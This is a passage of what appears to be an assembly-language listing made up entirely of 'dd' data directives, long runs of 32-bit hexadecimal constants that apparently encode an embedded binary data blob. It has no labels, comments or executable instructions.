3CA92C52h, 0EF4EC659h dd 74816F24h, 172B2C80h, 0AA7BEFE3h, 1154F027h, 4BB5846Ch dd 600B9C08h, 208D8AC6h, 0CB81049Fh, 0BB613157h, 391716A6h dd 6F6AFE35h, 4A1A29h, 2AF00357h, 0CFB29DE2h, 640E0125h dd 25069898h, 8A541859h, 0AFF837E9h, 579F0B55h, 0F4E0B100h dd 0B51201D8h, 0C3E202C1h, 98A8C4Ah, 0ABBFF1FEh, 0DE8DF639h dd 7E926C02h, 4C94D664h, 85312535h, 0FFADB674h, 0B12D4D35h dd 509AE655h, 0A602AFA1h, 960420F9h, 0CF800AB8h, 0A7A07D2Eh dd 0B64F020Fh, 6880FDA1h, 0D582AF4Bh, 60502FBEh, 0BF804DF9h dd 72FB1A02h, 3C965961h, 0AA270CBCh, 516B45B5h, 1DD888DEh dd 0D7800B29h, 0C007B27Fh, 0B514A112h, 241C0B67h, 0D046D325h dd 505D98AAh, 70BE4EDBh, 0A18D0169h, 2EA92B4Ah, 6213F8CAh dd 3A50EDBDh, 0D4DB56BDh, 550003BBh, 0D56CD88Fh, 5C2F6278h dd 8A022C41h, 518C56FCh, 0D4FE145Ah, 4F83A8F7h, 0A1E843A9h dd 47A7CB03h, 0F1651C46h, 0DE2A8880h, 747BC056h, 0C60B83Ah dd 21D59D29h, 614BD0CDh, 24D37AAFh, 0DCCF2215h, 1CB76080h dd 9C58A56h, 0D4E9615Fh, 2916B158h, 0D8BE8D95h, 0AF097516h dd 0F63A870Ch, 1C458964h, 436B3055h, 2016009Eh, 86A4974h dd 4C4E7151h, 200AAB2h, 5DB7071Dh, 27076783h, 0E72C2AB2h dd 0B8A8BD90h, 5AFA01E3h, 74C281F9h, 50349665h, 580A53F8h dd 88BC933h, 8B051679h, 968C0A3Ch, 0E06E0060h, 0F4819096h dd 1A00D20Bh, 6577F722h, 1F88BB06h, 0FD7E8F4Bh, 35485F0Eh dd 61953142h, 0C7E0114Bh, 41EE1EE8h, 35510D92h, 0CD3E80Ch dd 0B5896504h, 0B41D0E59h, 0D9850680h, 6FFF1323h, 0A2602CB5h dd 2496F01h, 14C9BD83h, 50F94F0Ah, 3224B59Bh, 29131611h dd 0E9F0D18Dh, 35178E1Fh, 0D8D5204Ch, 153B9D2h, 8B04E6ADh dd 0B97CE9C7h, 0F15B0044h, 0E39F1C80h, 4F540093h, 438F46C8h dd 0FB00D3DCh, 0E5DAA88h, 0BE1812h, 45A911E1h, 2FE6FAC4h dd 8CEE6F3Bh, 8D6675Ah, 2721C0DCh, 869AE6E3h, 26A2C900h dd 55E258D5h, 207903BDh, 0AF3E9FD3h, 1135923h, 6F24E6FFh dd 88D91886h, 0E600F822h, 180771ABh, 190DDAAh, 4F639DE9h dd 0DFEC4078h, 8BE446E8h, 8C2BA908h, 31003C15h, 0AB1A990Bh dd 0E0197A35h, 3D086592h, 13D72180h, 0B1427699h, 1638800h dd 0B37BA34h, 1150C75Bh, 1F16E07Dh, 0C300381Eh, 0B47F639Bh dd 27B9A6Bh, 719097ADh, 112029FEh, 3014463Fh, 4911A60Ah dd 0FA03A12Eh, 15C01A20h, 53093028h, 0A1166961h, 0D532E31Dh dd 980A786h, 8BAA0A50h, 7C98CF0Bh, 0FA24DF46h, 4CFD00B3h dd 3CB2AC84h, 0AE546700h, 0D0A7E5FFh, 0B068D96Dh, 8231813h dd 3220FFA1h, 64404DC4h, 2C34A12Bh, 438B5200h, 97AA0850h dd 4B8210A0h, 0EB869E29h, 1021DFh, 4ABE5269h, 81AC32B4h dd 9E13CF00h, 4F3801D6h, 93AF1DC9h, 0F59D41DDh, 0CD2DA173h dd 1BC2F053h, 8D182261h, 1500BCABh, 7940FEC1h, 0DC5F0116h dd 3F4D344h, 1020B0ABh, 0F8B2082Ah, 0D9202240h, 0D4E6FC00h dd 77D05359h, 805B3374h, 2100C508h, 33D4FE96h, 3D6F73h dd 2B511F81h, 0E8B7D53Eh, 11DDDA1Dh, 1B780AD8h, 471C00E3h dd 5AC59186h, 7F188F10h, 0EA302AE1h, 303B7F2Bh, 0CB101BBDh dd 28002EEBh, 3AEFFA96h, 0F8606B11h, 32475E0h, 0B71DC2D4h dd 5AE08B9Bh, 2600AAFCh, 59746A11h, 9A43A3h, 94BBFE9Dh dd 8B5A2CFDh, 0B6CA000h, 34735565h, 91F60049h, 6109A92Ah dd 5D3B1671h, 0A2BB80EBh, 0D378783h, 79A0707Ch, 446F079Fh dd 0D0BA51C2h, 9B3BF062h, 0A3AA3604h, 0C1EE7C60h, 2A820246h dd 3AA7D10h, 0C54FA50Ch, 9B35882Bh, 0FA2800F2h, 0A67CC373h dd 9500FD90h, 5707A142h, 7C080EF7h, 8A9B3084h, 43C10F29h dd 0D68F2609h, 70B60311h, 0A508C110h, 1D99EA30h, 0B077D323h dd 4BD45F30h, 414039h, 26D2CC45h, 78AE807Eh, 892B2C0Ch dd 83FA316Dh, 0ABAC2086h, 682F6Fh, 24B21EC8h, 4F6E06A1h dd 876A98Fh, 0ED213660h, 0F2B206h, 38057AD6h, 5A76AEA6h dd 0F8CD6F0Dh, 0BDE4B18Dh, 98786063h, 0C7B8F0F5h, 0A16EFF31h dd 5D02973h, 118E619Bh, 87898BE3h, 6F1694D0h, 0A315EC03h dd 0CA2100E7h, 70589F3h, 8D00DAF0h, 80D26070h, 603BBDD0h dd 0C0FD684Eh, 0BF83CDFCh, 1876B2B3h, 49889B71h, 0C40FB917h dd 80909374h, 1BF00D39h, 0B17C1486h, 82008CC5h, 0E145B27Bh dd 0BDEE736Fh, 6063C330h, 96B341h, 0B57D131Ch, 0A7E6B262h dd 0BF9A0801h, 0E85244A9h, 7A14D0h, 81EBC1C5h, 0B670D51Eh dd 0F9096666h, 0D8A50321h, 5E5890EBh, 0F42723F8h, 243A9329h dd 0E118F171h, 0AA2B1D00h, 0D716BA0Ch, 6A68007Bh, 900FAFD9h dd 9E73E714h, 0EDC2E91Eh, 997A1781h, 60CC448Eh, 48EC3F69h dd 6A335060h, 707A745Eh, 96891A00h, 7D17AD07h, 4CCC0338h dd 0C0E52C9h, 0A0A92002h, 9EC4B545h, 34592320h, 0BE7A3302h dd 143F0075h, 94603D87h, 4989E5C8h, 1EB20109h, 16E996B8h dd 83089850h, 41D221h, 0A5044309h, 770A52C1h, 0D41C48C0h dd 3AC7E5EFh, 8860493Ch, 4254AF5Ah, 0F5B93307h, 0F4B7FB10h dd 215E46h, 0CF54B788h, 0CD5FC43Fh, 29191100h, 4161D46Dh dd 294D603Ch, 4EACFA49h, 0A189503h, 0E8DDAF0Fh, 7BCEEEh dd 96C79DCCh, 7DB5228Bh, 361F950Eh, 60B098EBh, 0A0D5281Ah dd 3FAB0CC0h, 0E528810Eh, 0AA609879h, 5E5C4D61h, 0F861543Dh dd 0A4C2F8E0h, 54B23B64h, 88813391h, 0BAF78350h, 0D8D8E154h dd 0F60F941Eh, 8A891CB1h, 3C01F4FDh, 4814F0E5h, 8C462C20h dd 9B12A890h, 2C62251Eh, 0C3AB20FCh, 321DD4EBh, 4F000155h dd 6ACF8021h, 7EE92A2Bh, 29946E0h, 1EB00943h, 118D3148h dd 0AD305BD4h, 22ED0081h, 0A90B5D3Dh, 0C400A8FDh, 0D4120FC0h dd 0D9BE694Ch, 18846031h, 0B309084Eh, 85C4A01Eh, 946D341h dd 0E96CF126h, 4D23D08Bh, 28C46A2Ah, 42029846h, 401EAF09h dd 0D7108F31h, 0F207095Ah, 6094B5F6h, 66D45D50h, 48101421h dd 0D529E4E7h, 7140A9DCh, 0A81850h, 0A466EEEh, 0C5295ABEh dd 6CB87A60h, 149885DEh, 30E5E991h, 0AD09D923h, 58A80D54h dd 20463012h, 2D54B5BAh dd 978DFA12h, 0EA6A6806h, 0EF330ED9h, 9585DB89h, 0F37183E2h dd 4FA2022h, 0AAC70BC4h, 0B458809Ah, 484020BEh, 0BC7A0DB2h dd 0E0282BB1h, 282C9D74h, 0C90EACC8h, 8F62C95h, 5721C006h dd 0B1802885h, 41605400h, 96E679E9h, 0E32B0156h, 0A3F9DC7h dd 1A69809Bh, 0AA52FC91h, 0C4F0C817h, 4354B0C0h, 0A8B15333h dd 54B88980h, 0BB3E07B2h, 0EF8686C5h, 8905BEh, 1025EB09h dd 1259A6FEh, 1482A500h, 0D56E3B31h, 7BFD04C9h, 0C77FF252h dd 0F308A328h, 0A2F9AF8h, 0E53BC8A1h, 10502273h, 0E39F2A82h dd 0AE094D01h, 8218581Eh, 145D688h, 9D7CEA09h, 8C972E37h dd 21983EF8h, 82D600AAh, 0B27FB0A7h, 0DC007791h, 0EA46CE08h dd 1E166FBh, 97E7BFB6h, 24AE371Fh, 92603DD4h, 55D55141h dd 4C3A4C22h, 0B450FE22h, 2E2A78F4h, 69F0F832h, 608F9D24h dd 9FE7B509h, 8247113Ch, 443E1305h, 0F2F000C0h, 0F4D694DCh dd 0FAF67731h, 43CE2C00h, 17584C6h, 0FCCB30BFh, 0C971A290h dd 0BF63C8C8h, 50454D74h, 82EBCE80h, 448CDD1Eh, 0C538A6F0h dd 0D3601EBh, 5FAEBC7Dh, 76F492E1h, 29E4A017h, 3D4824ACh dd 33C438A4h, 504A722Ch, 0ECA080A9h, 14DE6A11h, 0BF0A73ECh dd 0A8E69D3Dh, 0B460C044h, 332C4F54h, 0D0734891h, 1154BCh dd 616C1EFEh, 320B847Dh, 8C3FFA09h, 0AE9C21EEh, 94262FC1h dd 7B54D400h, 98357D12h, 6A62EF0Bh, 27440569h, 1AE89441h dd 4460426Dh, 88A25494h, 10408AF7h, 0EC81BB92h, 8C85804Ch dd 0B4094F04h, 8A62A81Eh, 947D020h, 2384004Bh, 0C2B42D6Eh dd 31068F7Ch, 0C4ECE294h, 66374490h, 0FFB25600h, 0CF7D2DAFh dd 549148C6h, 0CD107C49h, 0A42EA4EAh, 9F034523h, 12F2C260h dd 831EB80h, 68B1CF34h, 48D280DBh, 50A8E000h, 87FE8071h dd 46082E4h, 3876454Eh, 383DCF24h, 4360D440h, 117961EFh dd 899A664Dh, 0AE1CBE39h, 0EC1BA350h, 0F846055Ch, 3FF43DFCh dd 432380h, 6CE7D188h, 3E330960h, 0F83C7184h, 1FE039ABh dd 4790A6FBh, 0CECC3493h, 0B11A4140h, 1F7E858Ch, 97AEC22h dd 7DE272C1h, 3DD99801h, 3E1982B4h, 40176392h, 4101EF5h dd 8502E696h, 99348046h, 2FFA203Fh, 1A62B509h, 9C2E0FBEh dd 33BAA8C0h, 306A49A7h, 0FC580896h, 3E003ADFh, 35B56597h dd 775AB51h, 64A1DEE9h, 0EE221162h, 60CF0014h, 58C0803Bh dd 0EA53AB02h, 0E082F0A4h, 829351B8h, 18BB5461h, 0CB28249Ch dd 0C45426CFh, 84564003h, 6F128h, 0E3E197B0h, 221C720Fh dd 94254126h, 0C0E89C14h, 8B2799AEh, 905C90D8h, 247465Ch dd 1E9CEBC8h, 10ED312Dh, 0EBC0ACh, 0E4116F78h, 0D51A1E1Bh dd 0ECB8AE62h, 0C6FC9948h, 5405AE18h, 0F4A1334Dh, 0BB00808Bh dd 0CA3E54B6h, 0F00F29Eh, 36A8BA97h, 567B599h, 0E9AE9D48h dd 7B10C83Ch, 2ABA2403h, 99B4200Fh, 0EEE41D19h, 30F07A27h dd 41BA7274h, 9349604Dh, 911E0020h, 17AFC3DBh, 0A169F890h dd 8318B6B4h, 9DCE280Bh, 89C8Eh, 0D3288B55h, 50542675h dd 0F0DCC501h, 0FF0EE914h, 9A7A5880h, 6E3FAB9Eh, 25809894h dd 1CB88A0Dh, 0E82125D4h, 121EB003h, 990047AAh, 3FB760DFh dd 4401B528h, 6A688242h, 0E87C358Dh, 0D914FCE6h, 0E020225Bh dd 862B48C1h, 0B7FAC0B0h, 51FCC08Ah, 3D57151Eh, 6900889Ch dd 77B2168Ah, 0C403938Fh, 3EE15C94h, 0C121059Eh, 0C035CFFCh dd 0B9956032h, 0B69B4301h, 0E56B811Ch, 119DF089h, 18C36069h dd 4E540BB3h, 0C01C9933h, 5407BBECh, 6E8BB3D7h, 6F401917h dd 4C864C22h, 5B802CB1h, 7045A85Dh, 0F618C103h, 0D8BA3CB6h dd 706A7B4Fh, 0CC090CAh, 0B293D716h, 0BC7F50E9h, 80FD2210h dd 1F1C1A0Fh, 84A0538Fh, 13316FBh, 0A0E9AA26h, 71131107h dd 1FC6E04Fh, 8BA215h, 16FACF1Ch, 0BCA6FCC5h, 0DD00FBFAh dd 31B69064h, 2AA4C4Ah, 89E6E96Dh, 8481C8B7h, 54963DFBh dd 4C00C29Ch, 0ED33FA21h, 92105BF9h, 8D0036BFh, 41670FBEh dd 0A84253h, 3B997D2Fh, 0B20CF0F8h, 14D3B700h, 2932FEE4h dd 0DA3100C3h, 843F4494h, 4100FB6Bh, 0B327B285h, 2CB48Dh dd 0D5C6B1ADh, 0F008C1BAh, 4CD07333h, 0CB19C116h, 0F790FD0h dd 0F71B10D7h, 0D925BE20h, 560C9D8Dh, 18704A89h, 74AA076Fh dd 0C310A293h, 68C26B28h, 0B2FD407Dh, 67EA3081h, 4C19F028h dd 71619D60h, 790E177h, 4446FD7Fh, 56A1B179h, 7C29C0F7h dd 34FA7D03h, 3B0D4DCEh, 2B32F830h, 93106628h, 23961F4Ch dd 0A4A88129h, 81E0189Ah, 0F538CA78h, 0D1A128AAh, 0C33E8C1Ch dd 0A8008119h, 0C8A9AA6Eh, 0C8B110A5h, 5640E798h, 0C312B769h dd 0C4D509C0h, 0A25C2142h, 250720D6h, 0C00A565h, 228BBF4Ch dd 6038C21Eh, 56F0214Bh, 0E578788Eh, 0A779C60Fh, 0F97F2228h dd 60E0F7DFh, 0B1C32B3Fh, 806E26C2h, 1CE04E41h, 3AB21125h dd 10A37306h, 3F31511Fh, 531E3132h, 0F8579DD8h, 1D9100F5h dd 0BA28A57Fh, 4900A8F3h, 0D6E1B08Eh, 0CFB279C5h, 0F6006179h dd 184F055Eh, 0A0F43628h, 0A138122h, 0C53C926Fh, 9A90198h dd 304970F9h, 6703D622h, 3111E3F6h, 0CCD0E830h, 60BFB0ADh dd 89447903h, 24A1A78Ah, 2F2A111Dh, 58CCDA60h, 0C07BD68Bh dd 1917D7C1h, 8900549Dh, 4C7DFF04h, 1EED53Ch, 58495B8Bh dd 401FB779h, 0F2D173D0h, 4A38D460h, 0C2054769h, 0FB36C818h dd 0D18CAFh, 2E43508Dh, 7D17468h, 5DA4D57h, 0CD15305Ah dd 0BB79F61Ch, 0D994F400h, 695861A5h, 50766017h, 5DB49F3Bh dd 75F48F50h, 73A3B30Eh, 0B21902E4h, 0EF7048F4h, 0C82B546Ch dd 0CD5C187Fh, 6EA33188h, 8B290B18h, 8BF54548h, 0D873ABE0h dd 9619E607h, 5F476B7Dh, 0C0390960h, 5E2800B0h, 9C572E41h dd 0ACA1F56Ah, 78D18CE2h, 7607911h, 35AC9E62h, 0FFFE7085h dd 941F456Bh, 440461C7h, 5091F875h, 0F8422B40h, 0B24EE0A9h dd 4A70005Ah, 67290CECh, 11741BA2h, 0AAE1CA00h, 51D3AF71h dd 0FC960C32h, 121C7F66h, 1E4B7226h, 33007B1Dh, 0A249E950h dd 9F36038Ch, 0EFFDE4FFh, 21450830h, 0A2413Fh, 0E83C8B6Eh dd 182B3025h, 5A29DF00h, 75205DBDh, 7CC806D0h, 59B91F3Ch dd 0AFDED100h, 0B8466BC0h, 0D6FF030Ch, 69DF9E65h, 90138BA3h dd 0B619E64Bh, 20E17369h, 8464C48h, 0F73693A2h, 7E3E70h dd 0F13B4DA2h, 0AEDB6410h, 0C1E25200h, 86092276h, 3628C02Eh dd 0C343540Ah, 69D7A2A0h, 80C75130h, 0F22349h, 0E3AED364h dd 500D4F7Ch, 0E5930F1Dh, 9D4BBA3Fh, 1840889Ah, 0B02F9CEEh dd 609D749Eh, 82D1218Eh, 1B01DE88h, 143062DBh, 0E88CE897h dd 7AB87E6Bh, 4E44B8A7h, 0B1447360h, 803BE639h, 2C6DB011h dd 6009CE97h, 52AF297Dh, 0C67F48E1h, 0A0BCF328h, 4C02CE46h dd 0E73685A2h, 3C40DC33h, 1305A244h, 626AC300h, 0F26F60FEh dd 31151DFBh, 8867D4D7h, 86000B23h, 8E184588h, 13ED869Dh dd 0CB88E025h, 0DF0C0014h, 5E2B5F76h, 5376C4ACh, 0A2E8AE09h dd 69140224h, 49F60048h, 596FBB42h, 0AB00040h, 6E9D470h dd 0D19F4F94h, 5460083Ch, 70722521h, 32430A16h, 5E4ED0Ah dd 3A69F0B0h, 7702380h, 0F05C87CEh, 6C02131Ch, 3814BA48h dd 3C169EB3h, 544921CAh, 6807E11h, 74E9C870h, 9158448Ch dd 11700E00h, 0DEA06E3Eh, 26C919E9h, 0F4B8B0C5h, 8DEEFE50h dd 0F9C1451Eh, 3D395158h, 0F6A30090h, 34D11577h, 706FE88h dd 358128E2h, 0BD4905B8h dd 0C0516224h, 9E7541Ch, 9308CA18h, 7FAED9D9h, 858B0EAFh dd 12C363C0h, 19C9E991h, 0DC7C2593h, 320FBDDFh, 0B2EDD5EAh dd 26FEE400h, 9089163h, 0E465E6B8h, 1823CC19h, 92A20843h dd 62C4EF36h, 0A25B0940h, 0D3004A27h, 0CDEA058Bh, 6E5ED764h dd 0EEE069FCh, 6B3B4452h, 0E92EA8A4h, 0A032F431h, 20E0E06Ch dd 0D8D048C5h, 0F21D10h, 0AA2B74BAh, 0FDD9E6Ch, 7B2CEFF9h dd 0DF2EA381h, 65F2CCCAh, 0B8BF1700h, 0F07C405Dh, 0DE7A1C09h dd 0B0E0079Eh, 0E276105Eh, 5118D7A1h, 0BA40356Dh, 928B3064h dd 0B0F4B758h, 385FB801h, 722A6ACFh, 44F22C22h, 525730h dd 0A72EF217h, 0B704BCAFh, 949291E6h, 0F1CDC01Dh, 708FA0A6h dd 38475BBh, 627A52D1h, 37D7AFCDh, 60C0DFD5h, 173D442h dd 0DA68ECF1h, 0A861DDE6h, 0B913AC71h, 0B50C8764h, 3876495Bh dd 0F0D084h, 0ABEFC4B5h, 75B685C1h, 0FB1A7E3Ah, 0A56EFE0Ch dd 1B0308Bh, 7419AE04h, 0EF270183h, 1438A804h, 68C07A13h dd 24AAA086h, 2905768h, 3881BBB6h, 4A9C4848h, 7E15E00h dd 0DDA43921h, 5F37277Fh, 3100775Ch, 0A28683AEh, 44DF4882h dd 60C65910h, 9CE59518h, 27D0008Eh, 0BA2AB064h, 69480CA6h dd 0C46161C0h, 21DC7E3Ah, 2A80FB8h, 0EA609472h, 18667013h dd 0DF6C561Eh, 7DEBA830h, 0B961F130h, 153834h, 0FB066E2Fh dd 0E26B3395h, 58368030h, 62D314B8h, 4D09289Ah, 2E12A8A0h dd 0A30076CCh, 1635E493h, 765B6B2h, 0C6545C27h, 0A9400E91h dd 94CD71DDh, 6E3BF900h, 0B0C98118h, 78573EEFh, 3E43D42Ch dd 86856B00h, 0DD10BA1h, 20FD681Dh, 31F5017Fh, 0C0F4435Dh dd 606CCE4h, 0D4EC33CAh, 0F56938A3h, 83A10E18h, 3F84E0Ah dd 377A9511h, 1CD104CBh, 985EE572h, 0B7218F08h, 4C370EB2h dd 56C0921Bh, 0FBD6FA9Bh, 7B3FED00h, 512EF5ACh, 72A8C747h dd 211E909Dh, 8E1BFC6Eh, 0C187FC5h, 0F7C85AA0h, 4012C0A8h dd 1E003EDDh, 0A01C9F2Ah, 4808CC31h, 500B921h, 0CF49F83Eh dd 30C35894h, 0C5918141h, 0CDF2AAF7h, 1C167C00h, 8E9550B8h dd 9B470054h, 3B3278B5h, 306094FCh, 4FF218F8h, 4DB800A5h dd 0B09E5C5Fh, 900BB9Ah, 480655AFh, 26885A99h, 0A71686h dd 0D3D9B99Eh, 5001E77Dh, 446AB053h, 0EBD4CA92h, 28A500DAh dd 0D5B18DCFh, 0F8007A8Ah, 4A8C6EA7h, 86374Fh, 0E29D1B7Ch dd 0AAC0975Bh, 22702F00h, 0F855397Bh, 8FB000A3h, 42036314h dd 1F00A4B9h, 77731E8Bh, 0EC57D7h, 9690F266h, 40C67554h dd 0AFD28300h, 393336EEh, 0ECEB07FBh, 0AF45023Ch, 1F6A2683h dd 0ACE08BC3h, 0B8F8D360h, 6972B71Ch, 16CC007Eh, 4F361E33h dd 381E8C1h, 412937A8h, 0DED06960h, 0CD00AC4Bh, 0A6ED3EA9h dd 18AA030Eh, 407926B7h, 38CBBE98h, 1DB9038Ch, 0A68BC081h dd 32661E2Fh, 287B58A7h, 2A18B9B2h, 0E1319B96h, 17FEE2Bh dd 3A342C16h, 0D0370401h, 20C1B9B7h, 9C960EAAh, 33B5ED4h dd 20BD62B5h, 0EAA0E468h, 4303B403h, 1819F78h, 0C179390Bh dd 0BCF2F600h, 555DA5B3h, 8AD9E33h, 0DD790083h, 3C0E8468h dd 7200A497h, 0C038EAD3h, 573A61h, 0D9E46F11h, 0E8D8950Fh dd 26B4EB00h, 3C749782h, 6DE00A3h, 0BDF227Ah, 5A38A4E5h dd 9DF1B996h, 63C043BDh, 9D93B11Eh, 0B7DB007Ch, 0FF1D2907h dd 0D007502h, 5A3B2E7Ah, 0E9AE23h, 0FD4B82BDh, 2668C8B1h dd 0E03D8B00h, 18A8B914h, 0C3E50008h, 197EED94h, 9B72CB61h dd 3A5B9500h, 4401B554h, 3EC500E7h, 0E581B3B1h, 0D698531Ah dd 0DF94F800h, 17830996h, 0DA600DEh, 29729316h, 3E0FD2FCh dd 92F80A8h, 86850F9Ah, 201726h, 0ABD163E8h, 0BAEBB8E7h dd 7F39CC1Eh, 6059180Fh, 19160972h, 814D038Ah, 0AEE99DF4h dd 0A87A7202h, 609CC470h, 61174C2h, 773F93D8h, 90E58F3h dd 0E0B220F6h, 0D1227AEh, 84F6601h, 0C10021BBh, 0E644B528h dd 778D67BAh, 0AA9400FDh, 1312631Bh, 0C01FCE17h, 764687BCh dd 3338CDEDh, 0E041D102h, 0A36D5E88h, 0FF118500h, 0B58D915Bh dd 214A0183h, 0C7663EFCh, 3C845015h, 6150ECAAh, 8B41782Ch dd 1459E0B2h, 3BBD2820h, 18802DDh, 4B63BF5Eh, 60D37084h dd 10E7B2FCh, 0C86347ADh, 5592BDh, 0FC451161h, 0EA002004h dd 7C9CB87Ah, 199F5197h, 597D1E3Fh, 8F91804h, 7FADE0B2h dd 544E24C4h, 9E21B5A0h, 0FC1F779Ch, 384D9617h, 0D4E8D027h dd 0B2F303CAh, 0C95DE77Eh, 84C14CE8h, 994B0C00h, 610FCB5Ch dd 2E2A1F92h, 1D25C0ADh, 0A422D211h, 0D883000h, 0F65EE1C7h dd 3C1701D1h, 842D9A19h, 0A941F072h, 69E89907h, 28C20DEDh dd 980CA2AEh, 0C9211ADh, 21A34278h, 83B08496h, 0CA25FE2h dd 0A1A4C371h, 4C10CC30h, 82030B76h, 83582954h, 0F5117EE0h dd 233A4BE0h, 0BA21E022h, 647D9381h, 43B15037h, 606FE27Fh dd 848B3820h, 207D3F23h, 9E3C0678h, 0CCF3C8Ch, 700499F3h dd 0AACA401Ch, 74283D78h, 0DA780869h, 71617130h, 0AD06F2h dd 654877BDh, 76C966F1h, 1B79FF60h, 0C68F25A3h, 0B8AAAFE0h dd 0D5017CF8h, 0D3A006EBh, 9987F953h, 1D7530CBh, 4B5E259h dd 626E54D8h, 2CDF104Ch, 76C1A540h, 728AF3Eh, 0F0D36A7Ch dd 3555F940h, 65ED0662h, 29710C22h, 0B11AB42h, 0B3691147h dd 21080211h, 4C620887h, 0D284FD90h, 0DB83447Dh, 447F4A44h dd 0F14E6671h, 0C3DF10D1h, 5CF80D00h, 0CE6B9512h, 7321BA01h dd 0CBAE44DEh, 3EF2D4h, 631049AAh, 7F5AD7A0h, 354D0B01h dd 50A19D80h, 0F206F4h, 0FCDAA727h, 1C34705Bh, 94E16E00h dd 5ECDD07Ah, 9E2600FAh, 0D57733FDh, 0E200166Dh, 7E9291E8h dd 2FF1D9h, 67C43275h, 0CF25EEDEh, 0A907B202h, 5DA0D647h dd 0D031BAE1h, 0E0007E2Eh, 7BBE9A7Ch, 35C3AA6h, 0C86EC2E2h dd 0A8C88092h, 0EE00D3F5h, 0BB6FA7Fh, 6E46Ch, 0D5F64E5Fh dd 4CCF8710h, 56CAEC04h, 0E0C0EFE3h, 0AC5F30h, 4E7AC663h dd 0CE67BBFCh, 0EA3A7100h, 0A0469F9Bh, 0DD110155h, 2A78DAEDh dd 2444E1D7h, 177FEA84h, 1F8E790Fh, 3F6961ACh, 0BB21BBD7h dd 3E9D9CE0h, 3100831Ah, 0C86297E0h, 0A93D7A90h, 9860BFF5h dd 878F0C7h, 6112F435h, 0E0AD6077h, 0C92B000Ch, 63D00E9h dd 18A3E38Ch, 650007DCh, 72A83CE1h, 3F1A0h, 0FA488986h dd 5D29F84Bh, 532BA201h, 0C4D2C5FBh, 10604D8h, 0DACCDB4Dh dd 0CE43A9AFh, 0A2280BE0h, 3538B03h, 0E79BC864h, 1DBC94D0h dd 0A1103A5Fh, 4C248481h, 6020872Fh, 7B03F4CCh, 2668170h dd 0A4DD0A1h, 0FB631D8Ch, 6F8F4347h, 0B1C3BCFCh, 6B215ED8h dd 8B0079F0h, 0ACD06DEAh, 0BDF6109h, 9599A8D1h, 0EE829180h dd 8A00BBDBh, 0B81C6B80h, 0B874FD69h, 6F24016Ch, 9533E84Ch dd 7513D436h, 0CC5A51Eh, 0F18049DDh, 0E80457EFh, 595F00A4h dd 312F36EAh, 4F007E72h, 35E968B1h, 151D41Ch, 0BAB391Fh dd 3052E84Bh, 4A009458h, 0F6ECB4C0h, 0B7BF342h, 0AE82EB11h dd 86556600h, 0E4008804h, 0D3581DAAh, 0D4D8C1h, 6A4C1595h dd 0ED256640h, 87E01800h, 0E7C68DF3h, 796F001Bh, 0D8A5E507h dd 0B3033FB5h, 67A8CC1Fh, 0E481802Ah, 91160036h, 38BDCD10h dd 1E002871h, 5450BFDCh, 9095FB3Ah, 9A5A008Ch, 0D01C7F68h dd 0C1006F5Ch, 15F40BFh, 0B5CFB1F3h, 33388058h, 128D007Fh dd 9ACCFDDCh, 106348A9h, 0B521097Eh, 0F0A16C27h, 0CC25209Dh dd 5F3C5E98h, 80E8BF0Ch dd 5C22139Fh, 0EBFA07Ch, 366DD609h, 0FD00DE4Bh, 0B8BE688Ch dd 47C6F100h, 6B541887h, 62F900E5h, 2D260D9Ch, 923A5BC0h dd 90C987D4h, 0F040A77Ch, 902EDEEAh, 51960078h, 76A6E108h dd 0FA07BFD7h, 0ED298DACh, 0E6B77E80h, 0EF82507Ah, 0D4E70043h dd 5425A655h, 863F070Bh, 418882CAh, 801C570Fh, 0E6FB1F8h dd 9D5B1DBCh, 8B3F8074h, 72C590BFh, 1F4CDC00h, 91B60EE2h dd 0A4EA85h, 0E848ED07h, 449A173Dh, 94317400h, 1005978Fh dd 0DB87283Ah, 7AAD0090h, 57DA4737h, 2100C2E1h, 0F06B71D2h dd 0FEFAC49Bh, 3A400ADh, 2BBA776Eh, 7803441Fh, 0EF95B1AAh dd 45E6A815h, 60BE00FEh, 800A7917h, 5509E9F7h, 489DE7h dd 2B4968CCh, 24970099h, 590A886Dh, 0D9000644h, 7094E225h dd 0B286C7h, 7EDE79EDh, 9354078Fh, 31812C14h, 3AD91FE0h dd 398E7500h, 9703F51h, 800C5B77h, 0D7ABD801h, 0F086C92Dh dd 5C019F5Fh, 59414718h, 68F89376h, 0F728C09Bh, 0DA1E6B90h dd 0CCA46D02h, 604F2E2Dh, 0EEBBB498h, 88B14CC1h, 738A6E3Fh dd 0CC96F7h, 11A22ADAh, 3E0CEE9Eh, 18A9CF9Ch, 5CF2E4h dd 0D91F6135h, 0C20A07A0h, 96C5F118h, 563649h, 31C83A33h dd 2D404550h, 82FFD20Eh, 69AE0DCh, 0B29C92D8h, 14BD09A4h dd 80807417h, 0C9280354h, 55B88E60h, 75588C31h, 0A4920025h dd 4BF50BC2h, 51F4E21h, 0E653F7FBh, 0E306B020h, 0E583963h dd 0C07F4C00h, 0C2CC8B39h, 411E100h, 4B3FE7F0h, 0C8826040h dd 18208EA7h, 0C75F2100h, 56E0619Dh, 0FF52000Ah, 0B2EB855Ch dd 8001CD71h, 0F287F0A0h, 69D8E0B5h, 81360221h, 0EC9DFB0Fh dd 0E8F08468h, 49B03F00h, 0E23550D1h, 0F6C0009Fh, 5AA17859h dd 0EB024D25h, 5841A9DAh, 65EFE04Fh, 0DEAF00A6h, 0E13A2DABh dd 96007D21h, 0C3645F7Ch, 0E4BE1960h, 8844003Dh, 48A02612h dd 0CC984CEAh, 7B6F333Dh, 2861DF01h, 0C523CC4h, 3F4BDED0h dd 0E1804071h, 8A5989FFh, 2E0E5ABBh, 0A0C54E54h, 472DBF2Fh dd 68F303A9h, 0B607266Dh, 0F9A729A9h, 50DDCE6h, 17334800h dd 0EAE8B1C2h, 82EF002Ch, 88DE066Bh, 3C4C6A77h, 325100F8h dd 1509CE22h, 0B4F4FD10h, 49010370h, 0F772A120h, 336F1DE8h dd 93167B00h, 0BBEA74B3h, 0A430013h, 0B257A295h, 0F400A71Eh dd 3787FE5Ch, 5FB6E5h, 0BE926AA4h, 0A76C9BBh, 4C076090h dd 2F744775h, 6BA9671h, 5389E4h, 913E883h, 54F35CE0h, 9B9C1F04h dd 33C0DAC7h, 1A7B4Dh, 2885A9EFh, 0B8CE9396h, 5B0AFE00h dd 0CA583157h, 388EFA8Fh, 5D007D98h, 80DBAFF5h, 0F616D9DFh dd 2000A348h, 0D4E16634h, 6296000Ch, 0F1CB9BFDh, 8A00CEB0h dd 3923751Ah, 24CA85A8h, 28617Dh, 0B576F438h, 92000BACh dd 6E8D3F86h, 0B87E707h, 0EC76612h, 7F672001h, 0E0D83547h dd 0E80F9349h, 